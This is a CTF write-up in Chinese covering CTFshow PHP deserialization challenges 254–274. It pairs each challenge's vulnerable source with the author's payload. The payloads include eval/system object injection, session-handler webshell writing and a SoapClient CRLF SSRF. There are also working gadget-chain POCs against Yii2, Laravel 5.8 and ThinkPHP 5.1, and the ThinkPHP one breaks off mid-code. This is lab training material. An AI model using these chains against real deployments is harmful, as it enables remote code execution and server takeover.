CTFSHOW反序列化

254



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

简单,传参

?username=xxxxxx&password=xxxxxx
{.is-success}

255



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

简单
payload

class ctfShowUser{
    public $username='wzx';
    public $password='wzx';
    public $isVip=true;

}
echo urlencode(serialize(new ctfShowUser()));

用cookie传参序列化后的字符串
然后get传参username和password

256



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                echo "your flag is ".$flag;
            }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

简单
payload

class ctfShowUser
{
    public $username = 'wzxx';
    public $password = 'wzx';
    public $isVip = true;
}
echo urlencode(serialize(new ctfShowUser()));

用cookie传参序列化后的字符串
然后get传参username和password

257



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

简单,关键就是要注意细节,这样使用构造来进行赋值
我们要调用backDoor里的getInfo()就可以执行命令
ctfShowUser类里的属性可以不用管。

class ctfShowUser{
    private $username='wzx';
    private $password='wzx';
    private $isVip=true;
    private $class = 'info';

    public function __construct(){
        $this->class = new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}
class backDoor{
    private $code;
    public function __construct()
    {
        $this->code='system($_POST[1]);';

    }

    public function getInfo(){
        eval($this->code);
    }
}
$a = new ctfShowUser();
echo urlencode(serialize($a));

依旧是使用cookie传参,然后post传命令,get传必要参数
然后修改POST传参的内容,来得到flag

258



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

跟上一题是一样的,只不过多加了一个正则匹配
在:后加上+可以正常反序列化,这样就可以绕过正则匹配
payload

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
    public function __construct(){
        $this->class=new backDoor();
    }
}


class backDoor{
    public $code='system($_POST[1]);';
    public function getInfo(){
        eval($this->code);
    }
}

$a = new ctfShowUser();
$result= serialize($a);
$result=str_replace("C:","C:+",$result);
$result=str_replace("O:","O:+",$result);
echo urlencode($result);

然后按照上一题的方法来就行

259

首先题目提示有个flag.php


$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

然后进题目环境看到的代码
ti.php



highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

首先看flag.php
从http头获得HTTP_X_FORWARDED_FOR的值,然后取array_pop()处理后的值
要使获取到的值为127.0.0.1且要使post传参token=ctfshow,然后会将flag放在flag.txt文件,访问文件得到flag
array_pop()返回数组最后一个值,并将最后一个值从数组中删掉
所以如果我们要获取127.0.0.1,我们要构造的HTTP_X_FORWARDED_FOR就要为127.0.0.1,127.0.0.1

我们要在ti.php(自己取的名字)那个文件里访问flag.php

但是这里我们没有发现可以直接使用的类,所以我们就要使用SoapClient原生类来进行反序列化操作
具体的可以看这篇文章

\r 是回车 \n 是换行
回车就是将光标移到最前面,换行就是换到下一行

payload


$ua="wzx\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null,array("uri"=>"http://127.0.0.1/","location"=>"http://127.0.0.1/flag.php","user_agent"=>$ua));
echo urlencode(serialize($a));

260



error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

这个的意思就是让我们序列化一个类,然后让那里面包含ctfshow_i_love_36D这个字符串
我们直接建个ctfshow_i_love_36D类就行
payload

?ctfshow=new%20ctfshow_i_love_36D{}

261



highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

这个类里面有__unserialize,所以当反序列化时,如果同时存在__unserialize和__wakeup,那么他会执行__unserialize而不会执行__wakeup
所以关键就__destruct里的弱类型比较,0x36d的10进制就是877
让$this->username赋值为877.php,这样在字符串和整数进行比较时,877.phpxxx就会自动转换为877,从而绕过这个弱类型比较
payload


class ctfshowvip{
    public $username='877.php';
    public $password='';
    public $code;
}
echo (urlencode(serialize(new ctfshowvip())));

262



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

注释里有个message.php(醉了)



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: [email protected]
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

看token意思就是让token的值为admin然后访问messgae.php就可以得到flag

直接构造序列化字符串

直接构造token为admin的序列化字符串
payload


class message{
    public $token='admin';
}
echo base64_encode(serialize(new message()));

反序列化字符串逃逸

这个是用于从这个页面传参的



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

具体的看这个

payload

传参
?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

263

session反序列化

www.zip获得网站源码
关键页面:
index.php
check.php
inc.php
inc.php


error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

index.php



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:28:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: [email protected]
# @link: https://ctfer.com

*/
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}

check.php



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:59:10
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);

这里是利用session.serialize_handler的不同来利用反序列化

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
{.is-info}

使用wappalyzer可以知道靶场使用的php是7.3.11版本
所以默认使用的session.serialize_handler为php_serialize
而在inc.php使用的是php

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储), PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量。
{.is-info}

就是说相当于开启这个之后,才能给$_SESSION全局变量赋值和读取并反序列化现有的SESSION数据
在使用$_SESSION['limti']=0这样的代码后,如果在程序结束之前没有释放掉这个值,PHP就会在phpinfo中的session.save_path所表示的路径创建SESSION文件并存储序列化后COOKIE中PHPSESSID的值

在下一次调用session_start()的时候,就会自动反序列化已存在的SESSION文件中的内容
所以这一题就使用session.serialize_handler的不同在进行

代码审计
index.php


	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}

这里的$_SESSION['limti']肯定是不存在的(这里是limti,不是limit;细节),所以这里的三元运算表达式的结果就是我们可以通过$_COOKIE['limit']来设置$_SESSION['limit']
我们最终要调用inc.php里的User类,所以我们就构造User类

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

利用这里的file_put_contents来写入shell
但是我们最终要调用inc.php的类,而在inc.php使用的session反序列化引擎是php,即在|后面的值才会被反序列化,所以要在这个序列化得到的内容前加上|
payload


class User{
public $username="1.php";
public $password='';
public $status;
}
echo urlencode(base64_encode('|'.serialize(new User())));

浏览器读取cookie的值会自动url解码
得到

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWzFdKTs%2FPiI7czo2OiJzdGF0dXMiO047fQ%3D%3D

然后进index.php设置$_COOKIE['limit']为上面得到的值
然后刷新一下,去访问check.php,因为他require_once 'inc/inc.php';;或者/inc/inc.php,这样就会在inc.php反序列化我们之前保存的SESSION内容,得到一个User对象,并调用__destruct()中file_put_contents()来创建shell文件

可以得到一个log-1.php
访问log-1.php文件,输入命令或者用蚁剑连接来找flag

264



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: [email protected]
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这个跟前面有道题是一样的,自己搜索fuck就知道了,从wappalyzer可以知道这个的php版本是5.6.4
所以session序列化引擎就是正常的serialize(),正常传入就行了
payload

http://1bea241c-5977-4afe-a973-3f5a40f62d7d.challenge.ctf.show/?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后进message.php,按代码在cookie设置值,刷新就行了

265



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

我以为是使用mt_rand()的伪随机特性来做题,结果是使用引用来绑定两个的值
将password变量指向的地址和token变量指向的地址变为同一个地址,那么在token变的时候password也会跟着变,就是token永远等于password

payload


class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){
        $this->token='a';
        $this->password =&$this->token;
    }
}
echo serialize(new ctfshowAdmin());

266



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: [email protected]
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

php://input 是个可以访问请求的原始数据的只读流。当请求方式是post,并且Content-Type不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据。

所以我们使用burp抓包然后修改post的内容为要反序列化的字符串
绕过正则也简单,他没有设置不区分大小写,所以我们把类名改为大写就行了,php好像对这个不敏感

php对函数名、方法名、类名不区分大小写

payload


class CTFSHOW
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';

}
echo serialize(new CTFSHOW());

然后抓包传值就行

267

yii2的反序列化漏洞

admin
admin
直接登录
在About页面查看源码,看到?view-source,说明要给view_source GET传参
然后页面

///backdoor/shell
unserialize(base64_decode($_GET['code']))

就知道了他的反序列化入口
?r=backdoor/shell
这个是yii2 <=2.0.37的反序列化漏洞
这里就直接给POC了,可以自己去网上找链子


namespace yii\rest{
    class CreateAction
    {
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess='phpinfo';//要执行的函数
            $this->id='1';//上面函数的参数
        }
    }
}
namespace Faker{
    use yii\rest\CreateAction;
    class Generator{
        protected $formatters = array();
        public function __construct(){
            $this->formatters['close']= [new CreateAction(),
                'run'];
        }
    }

}
namespace yii\db{
    use Faker\Generator;
    class BatchQueryResult{
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new Generator();
        }
    }
}

namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

这里执行命令要使用passthru才会回显到浏览器上

268

和上一题一样,只是换了个链子



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-03 21:55:29
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-04 01:25:28
# @email: [email protected]
# @link: https://ctfer.com

*/
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "" >/var/www/html/basic/web/1.php');
    echo(base64_encode(serialize($exp)));
}

然后访问1.php,传参,获得flag

269

和上一题一样



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-03 21:55:29
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-04 01:25:28
# @email: [email protected]
# @link: https://ctfer.com

*/
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "" >/var/www/html/basic/web/1.php');
    echo(base64_encode(serialize($exp)));
}

然后访问1.php,传参,获得flag

270

一样



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-03 21:55:29
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-04 01:25:28
# @email: [email protected]
# @link: https://ctfer.com

*/
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "" >/var/www/html/basic/web/1.php');
    echo(base64_encode(serialize($exp)));
}
?>

271



/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell 
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

laravel5.8反序列化,链子就那么多条,一个个试
参考连接:https://blog.csdn.net/qq_38154820/article/details/117757896
pop


namespace Illuminate\Validation{
    class Validator{
        public $extensions;
        public function __construct($extensions){
            $this->extensions = $extensions;

        }

    }

}
namespace Illuminate\Broadcasting{



    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace {
    $a=new Illuminate\Validation\Validator(array(""=>"system"));
    $b=new Illuminate\Broadcasting\PendingBroadcast($a,'tac /flag');
    echo urlencode(serialize($b));
}

272



/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell 
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

说给我换姿势,怎么上一条链子还能
pop


namespace Illuminate\Validation{
    class Validator{
        public $extensions;
        public function __construct($extensions){
            $this->extensions = $extensions;

        }

    }

}
namespace Illuminate\Broadcasting{



    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace {
    $a=new Illuminate\Validation\Validator(array(""=>"system"));
    $b=new Illuminate\Broadcasting\PendingBroadcast($a,'tac /flag');
    echo urlencode(serialize($b));
}

273



/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell 
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

自己换了个链子,但是回显被报错挡住了,按f12可以看见回显
poc


namespace Illuminate\Broadcasting{



    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace Illuminate\Foundation\Console{

    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }

}
namespace Illuminate\Bus{
    class Dispatcher {

        protected $queueResolver;

        public function __construct( $queueResolver )
        {

            $this->queueResolver = $queueResolver;

        }
    }
}
namespace {
    $a = new Illuminate\Foundation\Console\QueuedCommand('tac /flag');
    $b = new Illuminate\Bus\Dispatcher('system');
    $c = new Illuminate\Broadcasting\PendingBroadcast($b,$a);
    echo urlencode(serialize($c));

}

274

thinkphp5.1的反序列化
poc


namespace think;
abstract class Model{
    protected $append = [];
